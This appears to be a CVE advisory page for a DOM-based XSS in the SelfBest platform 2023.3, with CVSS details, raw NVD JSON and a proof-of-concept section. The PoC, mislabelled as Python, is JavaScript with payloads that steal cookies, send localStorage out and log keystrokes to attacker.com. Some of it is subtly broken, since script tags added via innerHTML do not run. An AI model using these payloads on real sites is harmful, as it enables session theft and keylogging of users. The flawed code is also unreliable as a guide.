Security Vulnerability Report
中文
CVE-2025-63418 CVSS 6.1 MEDIUM

CVE-2025-63418

Published: 2025-11-05 19:16:05
Last Modified: 2025-11-07 19:45:54

Description

A DOM-based Cross-Site Scripting (XSS) vulnerability in the SelfBest platform 2023.3 allows attackers to execute arbitrary JavaScript in the context of a logged-in user's session by injecting payloads via the browser's developer console. The vulnerability arises from the application's client-side code being susceptible to direct DOM manipulation without adequate sanitization or a Content Security Policy (CSP), potentially leading to account takeover and data theft.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:selfbest:selfbest:2023.3:*:*:*:*:*:*:* - VULNERABLE
SelfBest平台 2023.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63418 PoC - SelfBest Platform DOM-based XSS // Execute this in the browser's developer console on SelfBest 2023.3 // Payload 1: Basic alert to confirm XSS var maliciousHTML = '<img src=x onerror="alert(document.cookie)">'; document.body.innerHTML += maliciousHTML; // Payload 2: Session hijacking - steal cookies var stealCookies = '<script>fetch("https://attacker.com/steal?c="+encodeURIComponent(document.cookie))</script>'; document.body.innerHTML += stealCookies; // Payload 3: DOM manipulation to inject persistent payload var persistentPayload = '<div id="malicious">' + '<script>fetch("https://attacker.com/exfil?data="+btoa(JSON.stringify(localStorage)))</script>' + '</div>'; document.querySelector('#target-element').innerHTML = persistentPayload; // Payload 4: Keylogger to capture user input var keylogger = '<script>' + 'document.addEventListener("keypress",function(e){' + 'fetch("https://attacker.com/log?k="+e.key)' + '})' + '</script>'; document.head.innerHTML += keylogger; console.log('CVE-2025-63418 PoC executed');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63418", "sourceIdentifier": "[email protected]", "published": "2025-11-05T19:16:04.533", "lastModified": "2025-11-07T19:45:54.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A DOM-based Cross-Site Scripting (XSS) vulnerability in the SelfBest platform 2023.3 allows attackers to execute arbitrary JavaScript in the context of a logged-in user's session by injecting payloads via the browser's developer console. The vulnerability arises from the application's client-side code being susceptible to direct DOM manipulation without adequate sanitization or a Content Security Policy (CSP), potentially leading to account takeover and data theft."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:selfbest:selfbest:2023.3:*:*:*:*:*:*:*", "matchCriteriaId": "BEFD75F8-8977-44CF-9AF5-8F31DB2C85F3"}]}]}], "references": [{"url": "https://rohitchaudhary045.medium.com/cve-2025-63418-weaponizing-the-browser-console-a-dom-based-xss-deep-dive-25ed3ac9cb53", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://rohitchaudhary045.medium.com/cve-2025-63418-weaponizing-the-browser-console-a-dom-based-xss-deep-dive-25ed3ac9cb53", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}